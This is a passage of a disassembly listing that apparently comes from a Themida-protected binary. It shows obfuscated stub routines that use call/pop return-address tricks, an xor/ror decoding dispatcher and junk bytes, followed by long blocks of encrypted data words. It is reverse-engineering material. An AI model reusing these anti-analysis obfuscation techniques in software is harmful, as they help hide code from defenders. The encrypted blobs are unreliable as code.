		call	sub_5EA08D
		and	[ecx-3Dh], bl
sub_5EA013	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5EA08D	proc near		; CODE XREF: sub_5EA013+72p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_5EA08D	endp

; ---------------------------------------------------------------------------
		inc	ebp
		aas
		xor	di, 44CCh
		mov	[ebp+6152721h],	ecx
		jmp	loc_5EA0C0
; ---------------------------------------------------------------------------
		db 68h
		dd 7017AF46h, 0BF1CA08Ch, 0B5A9B294h, 6E467967h
; ---------------------------------------------------------------------------


loc_5EA0C0:				; CODE XREF: Themida_:005EA0AAj
		mov	dword ptr [ebp+61504CDh], 5808h
		push	0
		push	ebx
		call	sub_5EA0D5
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EA0D5	proc near		; CODE XREF: Themida_:005EA0CDp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_5EA0D5	endp

; ---------------------------------------------------------------------------
		db 16h,	7Bh, 0D3h
		dd 29E8ACA4h, 1504DD8Dh, 1585C706h, 61511h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 0C4DBC353h, 22710FFBh, 0C840F1Ch,	0F000000h
		dd 680h, 49EF8100h, 0FF0CCD37h,	152921B5h, 0CE96006h, 9000000h
		dd 2D9A06C2h, 0B2993FD5h, 230C8C7Ch, 150CC195h,	95FF6106h
		dd 61502C9h, 7864CDBEh,	3D95890Fh, 6A061502h, 2195FF00h
		dd 8B06152Eh, 844DEBC0h, 9030BC6Eh, 56D8895Bh, 0F9F5891h
		dd 313D4855h, 72202418h, 5D75AEB6h, 6C54F2C9h, 67A53FD1h
		dd 774B10A9h, 0CDF8E159h, 68F324B9h, 42BDAA7h, 0F5B82A86h
		dd 72D8F588h, 6B05611Eh, 0F878F846h, 369F09AAh,	323DFB22h
		dd 6455036Ah, 15FE9h
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_5EA1BD	proc near		; CODE XREF: sub_406890+12Cp
					; sub_409BC0+1Dp ...
		push	edx
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 61C0797h
		mov	eax, [edx+8]
		cmp	eax, 78263845h
		jnz	loc_5EA313
		mov	eax, [edx+0Ch]
		mov	ecx, [edx+18h]
		ror	eax, cl
		mov	ebx, 71B167A6h
		xor	eax, ebx
		sub	eax, 4
		mov	[ebp+6152721h],	eax
		mov	ebx, [eax+4]
		mov	edi, eax
		mov	eax, [edx+10h]
		mov	ecx, [edx+18h]
		ror	eax, cl
		mov	esi, 0D9248B32h
		xor	eax, esi
		sub	eax, edi
		and	eax, 0FFFFFFFCh
		sub	eax, 4
		mov	[ebp+61504CDh],	eax
		mov	eax, [edx+14h]
		mov	[ebp+6151115h],	eax
		mov	eax, [edx+18h]
		push	ebx
		jmp	loc_5EA2D7
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6151D45h]
		jmp	loc_5EA2EB
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6152F59h]
		jmp	loc_5EA2EB
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6152E0Dh]
		jmp	loc_5EA2EB
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6150595h]
		jmp	loc_5EA2EB
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6152D19h]
		jmp	loc_5EA2EB
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+61510F1h]
		jmp	loc_5EA2EB
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+61533EDh]
		jmp	loc_5EA2EB
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+61502B5h]
		jmp	loc_5EA2EB
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+61523E1h]
		jmp	loc_5EA2EB
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6152921h]
		jmp	loc_5EA2EB
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6152339h]
		jmp	loc_5EA2EB
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6153375h]
		jmp	loc_5EA2EB
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6150009h]
		jmp	loc_5EA2EB
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6152CBDh]
		jmp	loc_5EA2EB
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6152A49h]
		jmp	loc_5EA2EB
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+61533A9h]
		jmp	loc_5EA2EB
; ---------------------------------------------------------------------------


loc_5EA2D7:				; CODE XREF: sub_5EA1BD+65j
		mov	ebx, eax
		mov	eax, 0Bh
		mul	bx
		lea	ecx, [ebp+61C07F8h]
		add	ecx, eax
		jmp	ecx
; ---------------------------------------------------------------------------


loc_5EA2EB:				; CODE XREF: sub_5EA1BD+70j
					; sub_5EA1BD+7Bj ...
		call	dword ptr [ebp+61502C9h]
		pop	ebx


loc_5EA2F2:				; CODE XREF: sub_5EA1BD+14Ej
		mov	eax, [ebp+6152721h]
		cmp	[eax+4], ebx
		jnz	loc_5EA310
		push	ebx
		push	1
		call	dword ptr [ebp+6152E21h]
		pop	ebx
		jmp	loc_5EA2F2
; ---------------------------------------------------------------------------


loc_5EA310:				; CODE XREF: sub_5EA1BD+13Ej
		popa
		pop	edx
		retn
; ---------------------------------------------------------------------------


loc_5EA313:				; CODE XREF: sub_5EA1BD+18j
		popa
		pop	edx
		mov	eax, 7E41A8ADh
		jmp	eax
sub_5EA1BD	endp

; ---------------------------------------------------------------------------
		dd 2F29858Bh, 8D8D0615h, 61C08E6h, 8B014189h, 0C585C6C3h
		dd 56061509h, 0C530DF68h, 11B5FFA9h, 8D061528h,	1872BC85h
		dd 8DD0FF06h, 1528398Dh, 406A5106h, 33B9B5FFh, 0B5FF0615h
		dd 615119Dh, 0B5FFD0FFh, 61533B9h, 119DB5FFh, 0DE80615h
		dd 24000000h, 0DB41C830h, 0A7C8E699h, 32943FFAh, 0E8835858h
		dd 242CC104h, 2424C102h, 24040302h, 2B241CF7h, 634FFF6h
		dd 0BDEF815Fh, 81161E00h, 20F5FC7h, 0E5EF8141h,	5746F513h
		dd 8330048Fh, 343B04EEh, 0DA850F24h, 8DFFFFFFh,	150FFD9Dh
		dd 0B038B06h, 7840FC0h,	8B000000h, 45B8B03h, 0C98B1889h
		dd 0A4D8D8Dh, 6A061Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 3DB767C3h, 8D640B96h, 89D98B54h
		dd 1527218Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 372C1A7Ch, 0C71B1F9Bh, 1504CD85h
		dd 6A3C06h, 3D9D2300h, 0C7061502h, 15111585h, 6, 0A1B58900h
		dd 0FF06150Bh, 1502B5B5h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 4B84D490h
		dd 9797C5ABh, 95FF9679h, 61502C9h, 0FF006AF5h, 152E2195h
		dd 0EBC08B06h, 0E31D862Fh, 52A5D089h, 0DBB575F6h, 1FB96EDh
		dd 0BB82CDE3h, 0B5F692B4h, 2459909Eh, 4C4B8793h, 9856C18Ah
		dd 0AF595D85h, 0B84CC1E0h, 0DD204B7h, 0E5E9h, 98306700h
		dd 459CD717h, 0E1C8C3CAh, 0ACABDAB6h, 92B395A7h, 95A1F445h
		dd 0ABDA00B3h, 5D20A7ECh, 0F46BB291h, 752096B1h, 0B79B5520h
		dd 0A5BCF26Bh, 94A19692h, 99603A75h, 0BD329FB7h, 0B2E9B599h
		dd 0F292A59Ch, 7695ACA3h, 97B1EFh, 0A5B4F94Eh, 6B5C009Fh
		dd 924AF07Bh, 52D0008Ah, 53F545F3h, 0D979A3F6h,	0AFF144D6h
		dd 41F445E3h, 0B000D77Dh, 6BBF9792h, 0CF60FD75h, 0BCF996BFh
		dd 7D20B293h, 0F79B5720h, 0BD9492ABh, 0BCE3B29Eh, 9BE0CE9Dh
		dd 9D728F89h, 0EEA9FD8Fh, 0B6F66DB4h, 7293BCE1h, 97B3EDh
		dd 43F1B6D0h, 0F0A8CDh,	0
		dd 129D7447h, 5E99E0E3h, 0Bh dup(0)
		dd 6DE90000h, 68000015h, 61C0D77h, 0F972D9E9h, 0E8268FFh
		dd 0CFE9061Ch, 68FFF972h, 61C0F5Eh, 0F972C5E9h,	109868FFh
		dd 0BBE9061Ch, 68FFF972h, 61C1110h, 0F972B1E9h,	11CB68FFh
		dd 0A7E9061Ch, 68FFF972h, 61C1277h, 0F9729DE9h,	133D68FFh
		dd 93E9061Ch, 68FFF972h, 61C13F0h, 0F97289E9h, 153968FFh
		dd 7FE9061Ch, 68FFF972h, 61C1652h, 0F97275E9h, 17AF68FFh
		dd 6BE9061Ch, 68FFF972h, 61C1890h, 0F97261E9h, 19F868FFh
		dd 57E9061Ch, 68FFF972h, 61C1B2Dh, 0F9724DE9h, 1D1068FFh
		dd 43E9061Ch, 68FFF972h, 61C1E01h, 0F97239E9h, 50C03EFFh
		dd 9B0B6EC5h, 58C825FAh, 920266BDh, 5ECE2C03h, 0F8ABE0B7h
		dd 0B46B0A7Ah, 0FD32C333h, 0B9660F7Fh, 982BCA3Ah, 0FECA0FB6h
		dd 30B1169Ah, 66C7240Ch, 86F2BADFh, 0C47F4110h,	1086F29Dh
		dd 4F604F60h, 0BD25666Fh, 8C8E11C4h, 696E30DEh,	0B98CBE26h
		dd 10867990h, 0FD6D4A5Bh, 0F122C869h, 63532292h, 815B6393h
		dd 4F16AE54h, 47233D9Ch, 9BF2245Ch, 9E98A916h, 93E3F617h
		dd 0A5187F16h, 0BD2F19A4h, 519F9Dh, 949D0000h, 4EC6A414h
		dd 3DB0BABh, 9BF5F040h,	0A5062B16h, 5F615535h, 93F1BDE4h
		dd 406F4016h, 45B5357Eh, 0B0A567A5h, 7F50D1EDh,	0C9F4961Fh
		dd 16935884h, 0DB17C671h, 0CF74DEFAh, 0A1BD0A26h, 93E1FF22h
		dd 0BDAD7E16h, 0BD2D6BCEh, 0C4F19Dh, 24C50000h,	525F57C7h
		dd 980864F0h, 11727FB7h, 0FF7C75A1h, 8EA11173h,	0E94E63E7h
		dd 0AA403D79h, 86F7FCFBh, 80431910h, 1086F759h,	0BA771324h
		dd 0E050AD39h, 332426CFh, 7A21B3BAh, 2011F95Ch,	5E8342A3h
		dd 1D10869Bh, 85F3230Ch, 6BD81B1h, 169C6C42h, 0CF7B1A2Bh
		dd 0FCEE5EE2h, 0ACB2E296h, 8BE11619h, 3A041510h, 6C0979F9h
		dd 40A733B7h, 12370ED0h, 0D91CABDAh, 0C716E7C8h, 94B1C328h
		dd 12BB22A2h, 1B9B0000h, 0D455CAABh, 23A29164h,	0EB4DE2B3h
		dd 25859A7Bh, 0C0CBE0B5h, 18FD6DCDh, 6134A40Bh,	730272D2h
		dd 26CF3FBCh, 0CF12B19Dh, 0AE169AFFh, 0C6244FEDh, 969BBF56h
		dd 9A73A313h, 50C043F0h, 0BAB77C5h, 0F04003DBh,	2B169BF5h
		dd 5733A306h, 0E5605667h, 1693F1B8h, 66E3CA45h,	9DBD1D03h
		dd 0F589h, 1072BF00h, 9CB32384h, 624F46EEh, 8C7D6DDDh
		dd 0D2F7CE2Fh, 301086F2h, 71A43A39h, 6334EC74h,	0D9594A4Ch
		dd 765F2D69h, 9CB3D312h, 6C573315h, 1086580Fh, 2C32A221h
		dd 414E9332h, 1C2D1086h, 0F63B1F6Eh, 3D120474h,	680272F6h
		dd 5CE748ABh, 10864135h, 0CEC8E7B8h, 526C9C5Ch,	4172E261h
		dd 77484EBEh, 5E02C193h, 1F169CB6h, 0D2292F2h, 4DF8E668h
		dd 16933504h, 0B868D85Ah, 0DD4DACE7h, 83B3832Dh, 5E4808BBh
		dd 2D3108Bh, 299C571Dh,	0E2D6B426h, 46A40DD1h, 92F03FD6h
		dd 82065B22h, 5B59B1C2h, 11B0D7h, 0D848A600h, 1383E63Dh
		dd 0E050AD82h, 2A9A1E15h, 0E656D44Bh, 0A013980Fh, 4CE3B222h
		dd 859A7BEBh, 51DEB727h, 0E0F382F2h, 0FC0247FEh, 28E9169Ah
		dd 56C62414h, 0A31370BFh, 0B642BA9Bh, 8CFD26EBh, 86F890B9h
		dd 654A5B10h, 0AE5CCC2Eh, 0C72459DFh, 0F1525F57h, 0B8970765h
		dd 3935B1A6h, 0C5322098h, 0DA044625h, 8609266Bh, 57D8C510h
		dd 0F1DEAFE7h, 93356EDh, 0E9BA1086h, 45B51001h,	73E36051h
		dd 0B9381BA2h, 3A09D505h, 169B00D6h, 9FB88697h,	3CF01871h
		dd 1A9A999Eh, 7BEC0AAh,	0E0784C7h, 0AEB0E0A0h, 8DFD83B0h
		dd 0FA7FB489h, 21C5E08Ah, 0B4EB3CCBh, 7145B3E3h, 7D52C225h
		dd 9E67E261h, 25F6152Ah, 0F9B1819h, 2FB3BABh, 58DB482Dh
		dd 0E43615E8h, 87ADB421h, 10D42Bh, 94048200h, 5FCF3201h
		dd 9C0C69B6h, 56C62AF9h, 0A21270BFh, 0DCD7D4D3h, 1807EE5Eh
		dd 0E14E2797h, 0D22F363h, 6C573EAEh, 0FDBEE362h, 0BC3D169Ah
		dd 66C72480h, 86F2BADFh, 5F704110h, 0FD2DD157h,	0A2E62E1h
		dd 9EAF169Ch, 0DF0FAFF7h, 37AC44FFh, 60311089h,	0CF766836h
		dd 1CACB78Ah, 0DBCAA071h, 1CACB7B2h, 60E9D43Bh,	0A3D25EDDh
		dd 4063h, 0BAB3700h, 0FF4003DBh, 7E169C41h, 24A091ADh
		dd 11B4AAB4h, 1693BDC8h, 0F666C6B3h, 5F6231D9h,	1693A238h
		dd 9461D132h, 30911D9Fh, 0D6F9D6C0h, 102F64E0h,	845A0000h
		dd 93A298C1h, 0B8526316h, 0BF0BAB84h, 0DBE3CC3Ch, 5E555D6h
		dd 942F2D2Fh, 1086F24Dh, 96141F30h, 61594426h, 0EC16A2FDh
		dd 49AE03DBh, 0E5CA3ABDh, 0D040C0B1h, 24C6E9E6h, 32A22112h
		dd 0FF6FCC63h, 5D8D31B7h, 609A5481h, 0CBE45C3Bh, 0DBFC07E5h
		dd 0A9417BA2h, 0BF633093h, 91A10BEh, 0F7FFC35h,	73962D2Fh
		dd 0FA1CBEBCh, 28324129h, 243AAA0Bh, 0BEBC78A1h, 5832031Ch
		dd 0AEE858DBh, 724C7C3Ch, 0A44D8BD3h, 0C4596A1Ah, 0ABA2F2DFh
		dd 9A86EE08h, 0BC00000Fh, 0EC43D242h, 0AB781D8Dh, 0E43BDA4Ah
		dd 0B2811484h, 9615E050h, 0A8189A15h, 61D156CDh, 0AD1D9F94h
		dd 68D85BC8h, 0B1143A8Dh, 169AE268h, 0B6EA5213h, 1086F297h
		dd 0BE80B050h, 0A2FC3007h, 58663716h, 8D68D85Bh, 71A51596h
		dd 0CF12B1ABh, 45169AF9h, 74BC5A79h, 3E0FB1A6h,	6292664Ch
		dd 0D431825Ch, 0AD5D3264h, 8039DA0Eh, 0B92A310h, 0B1BF0714h
		dd 2245ADC7h, 3400000Fh, 74AB4ABAh, 43F085F5h, 6CC352C2h
		dd 2AF99C0Ch, 0DEBD58C8h, 2090F2ADh, 0E959DE55h, 2595170Ch
		dd 0F060E350h, 19ACB225h, 169AE3F0h, 2442FA7Bh,	525F57C7h
		dd 0A69581F1h, 8BFB7FB4h, 0E1D8B28Bh, 1DCE5BEEh, 105697A8h
		dd 54000009h, 7E6CDC5Fh, 0DB0BAB96h, 38FCD903h,	999E6D21h
		dd 0D4564525h, 5516A2DFh, 7A647A44h, 9ADF86CBh,	0B6546516h
		dd 0EF86F675h, 8B53C340h, 6452C226h, 4D9F4C6Bh,	0D7A14E2Eh
		dd 537AF933h, 0C169AECh, 0E192446Ch, 3E1989EFh,	775864C1h
		dd 3D886E67h, 30F5D919h, 5A3363D3h, 4BF9575h, 108019CCh
		dd 0FCFD8091h, 0E3B1BF26h, 0E6771D1h, 8FEF0000h, 48A9761Fh
		dd 87E63DD8h, 4FB17E17h, 89E936DFh, 6C1F7C19h, 9461D131h
		dd 0CDA8189Fh, 8F66D656h, 0E2B323A0h, 3356EDF1h, 0BA169AE3h
		dd 864F0339h, 67FEE3Eh,	3CED9D38h, 5A474FBFh, 84CD78D9h
		dd 0DA1086B7h, 0D3ACEA5Ah, 43735C6Dh, 5B5BCB2Eh, 4076E646h
		dd 469D1089h, 5AEFDE57h, 97A862CFh, 83A55h, 97B63100h
		dd 501086F2h, 7BE80B0h,	16A2FDE5h, 86ABB384h, 88A9B525h
		dd 0D0F9CC2Dh, 9B169AF9h, 0A6C5A58Ah, 6492FA79h, 0B036054Bh
		dd 0E654426Dh, 69DCE212h, 10800731h, 0F12EBBCh,	0D4B1BF2Ch
		dd 0DBB62E2h, 1B9B0000h, 0D455CAABh, 23A29164h,	0EB4DE2B3h
		dd 25859A7Bh, 0C0CBE0B5h, 18FD6DCDh, 6134A40Bh,	730272D2h
		dd 26CF3FBCh, 0CF12B19Dh, 0AE169AE0h, 0C7244FEDh, 587D5F57h
		dd 0B9B75436h, 0B97A10B5h, 0E1CCCA3Ah, 59E46558h, 0DF97A827h
		dd 7A7h, 66DDFFDDh, 1086F323h, 54CF9CAh, 0E81086F3h, 0F798E8DFh
		dd 0A8875330h, 0AEEA2F96h, 80911086h, 0BAB32EAh, 94003DBh
		dd 7216A2FDh, 96831765h, 0DD8D22F4h, 8D6E8B9h, 0D92A6FD6h
		dd 0E944169Ah, 14F6C779h, 51249417h, 0C5F161E2h, 0EA5ADAD7h
		dd 8C37D3ACh, 169AD941h, 142A5A1Eh, 802179B1h, 0FDB5A210h
		dd 0C55E607Ah, 3203B357h, 0BE7F626Bh, 136F85B1h, 0CF5h
		dd 0A075E561h, 0D7BE2E93h, 987DED48h, 0E0B5258Bh, 967FEF53h
		dd 93178A01h, 5ADD5223h, 98140BEAh, 55D64D28h, 97C710E5h
		dd 9AE1E52Ch
		dd 35078816h, 5F57C724h, 0BD81F152h, 0BD2D929Fh, 86F2C108h
		dd 0EF9BAC10h, 10BF3645h, 0A81DB439h, 6DD3C97h,	4F500000h
		dd 4670E062h, 0DE02A149h, 3D1086F2h, 7C460D18h,	0B7888EFEh
		dd 936E12A0h, 0CDFDC1F7h, 0C63A52F1h, 0EABB16A2h, 0EC5CDFD4h
		dd 0D991A09h, 4E103FAFh, 0B46CB510h, 3E0F169Ah,	0A858E24Ch
		dd 0EA4D6678h, 74433C7Ah, 0DB3FB59Eh, 96A842EAh, 87ED7B2Fh
		dd 6C310210h, 0B1BF35C9h, 4220A492h, 1400000Ch,	0D44B2A9Ah
		dd 2310E555h, 0CC6332A2h, 0A19FC6Ch, 3E5D38A8h,	80F0524Dh
		dd 49B93EF5h, 85F577ACh, 50C043F0h, 794C12C5h, 169AE150h
		dd 24E25A1Bh, 4E8757C7h, 981D678Ch, 0AD670322h,	0CFC737B4h
		dd 0AA0D2638h, 78A1243Ah, 31086D9h, 6E615832h, 8B6ADA59h
		dd 0A8459316h, 1401997h, 24ED0000h, 525F57C7h, 960665F1h
		dd 2ACEDCB9h, 2961E4FAh, 0B4169BFBh, 0D50B3E3h,	631693FBh
		dd 3A276FDFh, 0B65145B5h, 0B713D0FFh, 0F17CCD00h, 779DBD26h
		dd 36h,	61864F93h, 2D9D1C38h, 3126900Ah, 6F9F5F59h, 1A44F44Fh
		dd 28F9169Bh, 14687EEh,	882F1693h, 4BF9D55h, 169301DDh
		dd 0B0DB8FA0h, 9DBE0D4Dh, 0C7D3h, 0C724E700h, 946BE5Fh
		dd 0B31B3CACh, 411D3203h, 2393161Bh, 867C5F82h,	0BF2F9110h
		dd 0DC5A3001h, 0C3F363C7h, 41C14DAEh, 0C7E8E5D1h, 0F161E2CFh
		dd 9062A124h, 9A971087h, 0B9298B17h, 0BBAFA096h, 987DED4Eh
		dd 203E6E12h, 9E2077A5h, 29350616h, 5B3AAA08h, 0D242C2EFh
		dd 0F969CFE4h, 0FBEFC0BDh, 7744AC0Eh, 0C13192BEh, 0F5ABDCF6h
		dd 1114E8E2h, 2E01C562h, 0D777AA4Fh, 43BFB5B7h,	0AF9h
		dd 0A471E15Dh, 0DBBA2A8Fh, 9C79E944h, 0E4B12187h, 9A7BEB4Fh
		dd 0AF138EFDh, 66C9563Fh, 0B4101FF6h, 182B144h,	0BD30491h
		dd 9AE71138h, 211BDC16h, 0BF56C624h, 0A616969Bh, 7CE447C4h
		dd 0C6A9C604h, 0D5565DCAh, 7DAB4A65h, 5F57C724h, 0F481F152h
		dd 4DED0h, 0BABEC00h, 3C4003DBh, 5F169BFCh, 0F883C67Dh
		dd 596A1693h, 0FA3C0DB1h, 93F8527Bh, 49741B16h,	0BB2B88A9h
		dd 3491827Bh, 0DFDD2C4h, 0BD241B9Eh, 0F276BB9Dh, 0C0309182h
		dd 24FFA2Ah, 0B60E0000h, 1086F29Ch, 6777A757h, 0D76E6775h
		dd 0B6CEF6AAh, 0C91B3EE7h, 0F9791086h, 0A9C5B4F6h, 0FBEFC060h
		dd 0A28946A0h, 0F8C6D716h, 70CDE6h, 77FA3916h, 4C3E0F07h
		dd 0D2EC5CDFh, 8D10390Ch, 0CADB169Ah, 24F981EDh, 0EA8044E5h
		dd 0E196BF8Bh, 1D5B80FAh, 83B05Ah, 6414A690h, 58598043h
		dd 3C2169Ah, 169A58DEh,	0E7148C9Dh, 143B1484h, 1989E94Ah
		dd 0A058EB71h, 2D10875Fh, 0A4D2811Ch, 0A391B1BEh, 9E01Fh
		dd 88F87600h, 43B336EDh, 90007DB2h, 5ACA2E05h, 960664BBh
		dd 0B0E3A8FFh, 1C13E252h, 0D54A2B9Bh, 210EE757h, 706332A2h
		dd 0E4B2D76Eh, 0B839169Ah, 57C72484h, 65F1525Fh, 0ACA19505h
		dd 0BDF49383h, 47FEE012h, 1086F202h, 132D8E9h, 124C1282h
		dd 86F26EB3h, 0F73C0D10h, 3A130373h, 0D704550h,	9397A81Ah
		dd 161h, 0E1624FA7h, 1B989971h,	0F5766BABh, 0F6CAF085h
		dd 154DF8C6h, 76169BFBh, 97A21461h, 0C8A2F50Bh,	74CFC7D8h
		dd 1693F829h, 0D5745BD6h, 9DBD2868h, 34F0h, 0BABCC00h
		dd 49AE03DBh, 0E959DAD9h, 243AD0ADh, 9BF591A1h,	9B9BAC16h
		dd 93F1F518h, 0A8178216h, 0BD1D1CA1h, 25A0BE9Dh, 1693FDFCh
		dd 60BCAE7Fh, 0D0h, 5FC7243Ch, 0D48E1A1Fh, 54426DBEh, 0CB7ADB5Fh
		dd 10863186h, 3B7B5465h, 6155C526h, 0BFE2617Bh,	3E108631h
		dd 0AC83F351h, 7EEE4DBEh, 82C77E60h, 69108631h,	77E3B258h
		dd 31BBDE65h, 71421086h, 0CBE92A66h, 0E288C979h, 87B194C3h
		dd 0E555D610h, 7F37FCD9h, 841D2D76h, 5F1F87E6h,	66B40F2Fh
		dd 17169F32h, 31263806h, 8EAD200Eh, 777F916h, 46113E0Fh
		dd 0BD66457h, 4BC8A202h, 919E77E7h, 873CC131h, 0E0B7D746h
		dd 8836ED6h, 73D30000h,	3CBD7203h, 7BFA29CCh, 33B56A0Bh
		dd 7DFD32C3h, 7833680Dh, 0A075E545h, 0D9BC2C93h, 9B7AEA4Ah
		dd 0DEB72784h, 375AE9F5h, 0B6169AE5h, 0C6240735h, 1370BF56h
		dd 4F88D2A3h, 5659824Ah, 759D4D6Dh, 6FDF624Fh, 77B45627h
		dd 0A19284F4h, 0A1119622h, 0DEB79875h, 262E2h, 56DBD800h
		dd 57EEB0E6h, 1086F232h, 23C7E8B9h, 0DB0BABEFh,	57D8D903h
		dd 2CDEAFE7h, 0A2FD1D91h, 474F6016h, 9AF9A1ECh,	0FCE34E16h
		dd 0C424E04Dh, 207689Dh, 4F440000h, 4A6DDD62h, 0DB5DAF4Ch
		dd 7D28C234h, 1086225Bh, 8AFA7BB8h, 22C811B4h, 0E2B31086h
		dd 0BEEE9208h, 2C9125A0h, 0F14216A2h, 1DF22494h, 6678496Dh
		dd 977EEE4Dh, 7BBB2B88h, 451949EDh, 8729CA7Eh, 0FB829310h
		dd 0B1BE7334h, 0A2A50D27h, 0B4000007h, 0F42BCA3Ah, 0C3700575h
		dd 0EC43D242h, 0AA791C8Ch, 5E3DD848h, 0A010722Dh, 69D95ED5h
		dd 0A515978Ch, 70E063D0h, 992C32A5h, 169AEA70h,	24C27AFBh
		dd 525F57C7h, 9C9581F1h, 9085B121h, 0F103DC5Ah,	283B003h
		dd 0F59CA492h, 497019CAh, 0D5575C96h, 3F77E749h, 8889614Eh
		dd 8EA3BB2Bh, 0C5D0BA2Ah, 0A8A68DF0h, 0A9042D97h, 72547D48h
		dd 6171086h, 8F080E29h,	2596BE99h, 137D545h, 24B10000h
		dd 525F57C7h, 6AF481F1h, 0F288D174h, 0A2731086h, 0FE2ED2C8h
		dd 0FB2D65E0h, 9FB0169Bh, 931896BFh, 0D5334EB9h, 4015F735h
		dd 0AD3835F5h, 3ABBF886h, 17F3CCCAh, 935561ACh,	3CA30E16h
		dd 8EFE7DB6h, 0C54CB1DCh, 27D49DBDh, 0E8000000h, 3DB0BABh
		dd 9BF5F040h, 0BAC48D16h, 7D3BFBF4h, 0F251456Ah, 169372ABh
		dd 57F2DD54h, 9DBD99D2h, 0AF5Ah, 624F2E00h, 9B9872E2h
		dd 756EA818h, 0A09185F5h, 0B1ABB323h, 86F2CF12h, 0C19DAE10h
		dd 86F2DF02h, 0DD8D9E10h, 51C1422Fh, 6CA201C4h,	0CF2C1087h
		dd 0E65D7F5Fh, 108689A3h, 291794Ah, 0AD404B4h, 9EE11D3Bh
		dd 6BDADC16h, 169ED126h, 3DBF4C5h, 2DC4CAEh, 0B2E454B1h
		dd 0FC5E2DDDh, 0D4C232B7h, 0C4EB5BDFh, 0F985E526h, 54290676h
		dd 0B7D82E83h, 3A5ADADCh, 1C000006h, 0CC6332A2h, 0B18FD6Dh
		dd 0C45B3AAAh, 1221F464h, 0F6B540B0h, 878FAB5h,	0C131B66Dh
		dd 0D7DFF34h, 0C838BB68h, 11B49A2Dh, 169AEBC8h,	240A32B3h
		dd 70BF56C6h, 66D2A313h, 0D05FC724h, 0A247CFC4h, 2C45715Eh
		dd 0FAB65FCFh, 27h, 57C7240Eh, 90F1525Fh, 86F2EC35h, 91BE8F10h
		dd 6CFB88CDh, 7D68E492h, 0A80F9F8Dh, 0C1319235h, 259034h
		dd 24AC0000h, 42275FC7h, 918A8C6h, 9EB9722Ah, 69467DDFh
		dd 7086C62Dh, 2FFA1086h, 74E44780h, 0F374BDA1h,	4F33E783h
		dd 4472E262h, 11729F4Bh, 330375A1h, 0CB1880E7h,	48356205h
		dd 0BA9383ACh, 0A7F821A4h, 0B2831086h, 8E02C19Dh, 6D16A2A8h
		dd 938DD46Fh, 5F70169Ah, 243A0BABh, 593CAC0Fh, 0BDF969CAh
		dd 6F638B2Bh, 45478E13h, 0C4EDF1DEh, 0CFC0F666h, 0EDAA191Bh
		dd 8C10BE7Ch, 2D8EA3BBh, 3D76D8BDh, 786650C0h, 0BE7884CDh
		dd 7956671Ch, 0C223A091h, 78E0299Ch, 0BA8B1CBEh, 0BE78C60Bh
		dd 0BB94A51Ch, 1949ED7Bh, 895E7E45h, 1D1F1AA4h,	0CB6963A6h
		dd 16390A02h, 0A2B6B487h, 3DC5AFABh, 505h, 0F085F551h
		dd 0A74EBE43h, 0E88DFD78h, 0B045B53Bh, 0E68FFF83h, 63C7FAB1h
		dd 0AA0D22F3h, 68C45B3Ah, 0A5061DF8h, 67776035h, 9AE9B5DCh
		dd 85B73816h, 0BE57C724h, 74A21271h, 8A8CFC7Fh
		dd 0B017C6EFh, 0E53F253h, 0ED1086F2h, 0E252D7DCh, 0F07D28CDh
		dd 7897A819h, 34h, 0DB0BAB94h, 41FF4003h, 917E169Ch, 0F8D5C131h
		dd 0BD3A5FE6h, 0F0C11693h, 52B2FFDFh, 0D8F767C6h, 0BD53783Dh
		dd 2E8D1693h, 0EC48D7BEh, 7ABA3A7Ch, 0CE000004h, 5F57C724h
		dd 0F481F152h, 0FCC2F2C6h, 0A8EB01DBh, 0FE352790h, 0D75D0D7Dh
		dd 9BB2346Ch, 6DCCB916h, 38CCB9FDh, 87D0CDF7h, 6CCFC4EBh
		dd 0F9E3D3FCh, 52B03CB8h, 0F4DBB4E2h, 4866A716h, 4D0F1693h
		dd 1D777008h, 4EF5637Fh, 1693CC0Bh, 290E21F2h, 115923F2h
		dd 0BBF69442h, 55D5DE14h, 238605E5h, 0A99DBD9Dh, 20h, 0DB0BAB7Dh
		dd 0F5F04003h, 0BC8D169Bh, 0F1D2FB7Ah, 0F49B1693h, 1CFD80C9h
		dd 10839DBDh, 97000001h, 8757C724h, 6155C52Ah, 0A3907E6Ch
		dd 0C131931Fh, 0DFD7F8D5h, 0D5A3D8FDh, 0DDC2E84Ah, 0D2C1EE5Eh
		dd 0C4B9FD6Dh, 1686E526h, 24B01320h, 6C6155C5h,	8AEF352h
		dd 7C4D1086h, 0F2518B53h, 108608AFh, 0FE8D7D4Eh, 860DB4C3h
		dd 0C535B610h, 10800330h, 2182E54Eh, 860D7FA2h,	22DFE10h
		dd 0DACC7B35h, 0EB9FFB06h, 0E607B741h, 86F63A5Fh, 0C3F0C110h
